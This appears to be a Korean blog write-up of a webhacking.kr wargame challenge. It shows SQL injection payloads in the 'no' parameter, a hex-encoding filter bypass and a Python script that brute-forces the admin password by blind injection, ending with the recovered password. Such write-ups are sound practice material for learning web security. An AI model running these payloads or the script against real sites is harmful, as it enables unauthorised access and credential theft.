get방식으로 전송된다
이것 저것 해보다 no에서 injection이 가능
no값에
2||no=2를 주면
이런 admin페이지 같은게 나온다
admin의 pw를 blind injection으로 구하면 됨
일단 pw의 길이를 알아내기위해
0||id='admin'&&length(pw)>0을 해봤는데 fail이라고 뜬다
삽질하다 hex값으로 저장되있는것을 찾음
admin을 0x61646d696e이렇게 바꿔서 보내주어야한다
0||id=0x61646d696e&&length(pw)=10
admin의 pw는 10자리
pw도 hex값으로 저장되어있을것 같으니 hex값으로 찾는다
첫글자는 0x6c인걸로 찾아놓고
import requests
url = "https://webhacking.kr/challenge/web-29/"
session = requests.Session()
cookie={"PHPSESSID":"gfphkap47rugn7sgmm59tukl35"}
password = "0x6c"
realpw="L"
for i in range(2,30):
for j in range(43,127):
req=session.get(url+"?no=1||id=0x61646d696e%26%26left(pw,"+str(i)+")="+password+format(j,'x')+"&id=gue&pw=gue",cookies=cookie)
if("admin" in req.text):
password += format(j,'x')
realpw += chr(j)
print(chr(j)+"is Correct!!!")
break
print(chr(j))
print(realpw)
print(realpw)
admin의 pw는
luck_admin
'Wargame, CTF > webhacking.kr' 카테고리의 다른 글
Webhacking.kr 57번 (0) | 2020.01.03 |
---|---|
Webhacking.kr 45번 (0) | 2020.01.03 |
Webhacking.kr 22번 (0) | 2020.01.03 |
Webhacking.kr 2번 (0) | 2020.01.02 |
Webhacking.kr 50번 (0) | 2020.01.02 |